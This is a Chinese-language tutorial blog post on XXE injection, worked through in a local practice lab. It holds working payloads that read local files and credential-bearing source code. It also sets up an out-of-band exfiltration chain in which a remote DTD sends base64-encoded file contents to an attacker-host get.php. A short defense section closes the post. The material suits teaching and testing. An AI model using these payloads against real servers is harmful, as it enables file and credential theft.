【网安-Web渗透测试-漏洞系列】XXE漏洞

XXE漏洞

一、XXE的概念与危害

XXE(XML External Entity Injection)漏洞为外部实体注入漏洞,该漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口、攻击内网网站等危害。

二、运行环境

1、目标机

名称
操作系统 Windows 10
中间件 phpStudy 2018
PHP版本 5.4.45
Apache 2.4

2、攻击机

名称
操作系统 Windows 10
中间件 phpStudy 2018
运行基础 Vmware Pro 15

三、XXE文件读取

说明: 重点针对目标机的操作。

(1)有回显

Step1:访问地址:

bash 复制代码
http://127.0.0.1/pikachu/vul/xxe/xxe_1.php

Step2:准备xml脚本
模板格式:

bash 复制代码
<?xml version = "1.0"?>  
<!DOCTYPE any[ 
<!ENTITY <变量名> SYSTEM "file:///<文件的路径>"> 
]> 
<自定义标签>&<变量名>;</自定义标签>

样例1:

bash 复制代码
<?xml version = "1.0"?>  
<!DOCTYPE any[ 
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts"> 
]> 
<zoo>&xxe;</zoo>

说明:&xxe只是变量⽽已,可以随意修改。<zoo></zoo>也是自定义的标签,也可以随意改。
样例2:

bash 复制代码
<?xml version = "1.0"?>  
<!DOCTYPE any[ 
<!ENTITY abc "这是一个内容!"> 
]> 
<result>&abc;</result>

(2)无回显

说明: 目标机与攻击机均需要协同。

Step1:修改 D:\phpStudy\PHPTutorial\WWW\pikachu\vul\xxe\xxe_1.php 文件。

bash 复制代码
if(isset($_POST['submit']) and $_POST['xml'] != null){
    $xml =$_POST['xml'];
    $data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
    if($data){
    	# 注释此行,变成无回显状态
        // $html.="<pre>{$data}</pre>";
    }else{
    	# 注释此行,变成无回显状态
        // $html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
    }
}

注意:

注释这两行后无法看到回显信息,这是从蓝队的角度考虑如何防御。

Step2:准备一个flag.txt于D:\phpStudy\PHPTutorial\WWW中。

bash 复制代码
# flag.txt的内容,该文件位于D:\phpStudy\PHPTutorial\WWW
flag:16yhg771819hfg

Step3:在攻击机中新建xxe.dtd⽂件。

bash 复制代码
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/phpStudy/PHPTutorial/WWW/flag.txt">
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://192.168.179.154/get.php?file=%file;'>">
%all;
%send;

注意:

①D:/phpStudy/PHPTutorial/WWW/flag.txt是指要读取的文件路径,此处也可以拿来设为其它文件。

http://192.168.179.154是攻击机的IP,不能设为127.0.0.1;因为设为127.0.0.1的话,目标机中处理xml请求时会认为将文件传送在目标机本身,因此一定要设为攻击机的IP。

③在攻击机(192.168.179.154)中需要自定义get.php页面。

Step4:在攻击机中新建get.php页面。

bash 复制代码
<?php
 $data = $_GET['file'];
 $myfile = fopen("file.txt","w+");
 fwrite($myfile,$data);
 fclose($myfile);
?>

Step5:在目标机的Pikachu的输⼊框输入如下xml。用来读取flag.txt。

bash 复制代码
<?xml version = "1.0"?>
<!DOCTYPE ANY[
<!ENTITY % dtd SYSTEM "http://192.168.179.154/xxe.dtd">
%dtd;]>


由此,红队使用此方法可以得到flag.txt文件的内容。蓝队所设置的不回显方法在这里失效。

流程总结如下:

四、XXE-Lab靶场实践

说明: 破解⽤户名与密码,此处⽤xxe漏洞获取⽤户名与密码。

1、靶场环境配置

Step1:将压缩包中的xxe-lab-master.zip\xxe-lab-master\php_xxe;
Step2:并复制到D:\phpStudy\PHPTutorial\WWW;
Step3:将php_xxe更名为xxe_lab。

最终部署地址为:

bash 复制代码
D:\phpStudy\PHPTutorial\WWW\xxe_lab

2、开始攻击

(1)登录,截取包

Step1:打开BurpSuite并在浏览器中设置好BurpSuite的代理,并开启Intercept on


Step2:开始登录系统

访问地址:

bash 复制代码
http://127.0.0.1/xxe_lab/



说明: 在此处发现了xml解析;说明存在漏洞。

(2)尝试XXE漏洞

Step1:右击鼠标,选择"Send to Repeater"

Step2:复制如下脚本到图中 "2" 的位置

bash 复制代码
<!DOCTYPE ANY [
 <!ENTITY  file SYSTEM "file:///D://phpStudy//PHPTutorial//WWW//flag.txt">
 ]>
 <user>
   <username>
     &file;
   </username>
   <password>
     12313
   </password>
 </user>


说明: 看到这样的结果,说明存在XXE漏洞。

(3)获取用户名密码

Step1:右击鼠标,选择"Send to Repeater"

Step2:复制如下脚本到图中 "1" 的位置

bash 复制代码
<!DOCTYPE ANY [
 <!ENTITY  file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
 ]>
 <user>
   <username>
     &file;
   </username>
   <password>
     12313
   </password>
 </user>


Step3:解析Base64编码

Step4:输入正确的用户名和密码

五、如何防御?

1、修改配置

说明: 这是从蓝队的视角做防御。

找到XXE_lab下的doLogin.php文件。

位置如下:

bash 复制代码
D:\phpStudy\PHPTutorial\WWW\xxe_lab\\doLogin.php

修改如下:

bash 复制代码
// XXE漏洞防御
// 禁⽌外部实体
// libxml_disable_entity_loader 必须为真true
libxml_disable_entity_loader(true);

2、再次展开攻击

说明: 这是从红队的视角开始攻击。


注意: 一旦libxml_disable_entity_loader(true);的设置生效,那么,围护网站的负责人将无法更新xml配置,因此,这样做防御也是存在副作用。即对自己人和外人均全部被禁止xml配置更新。

相关推荐
grrrr_14 小时前
SHCTF 3rd - [WEB]部分writeup
web安全·网络安全·shctf
m0_738120724 小时前
渗透测试——Raven2靶机横向提权详细过程(PHPMailer框架利用,UDF提取)
网络·安全·web安全·ssh
coding随想17 小时前
CSP与MIME的双重奏:打造无懈可击的Web安全防线
安全·web安全
瘾大侠1 天前
WingData
网络·安全·web安全·网络安全
AC赳赳老秦1 天前
低代码AI化革命:DeepSeek引领智能开发新纪元
网络·人工智能·安全·web安全·低代码·prometheus·deepseek
一名优秀的码农1 天前
vulhub系列-10-Misdirection(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
сокол1 天前
【网安-Web渗透测试-漏洞系列】文件包含&下载读取
web安全·php
月明长歌1 天前
网络原理初识:从“几台电脑各干各的”到“数据包跨网段飞奔”的一整套思维模型
网络·计算机网络·电脑·php
乾元1 天前
模型提取:黑盒环境下如何窃取对手的 AI 模型参数
网络·人工智能·安全·web安全·机器学习·架构·系统架构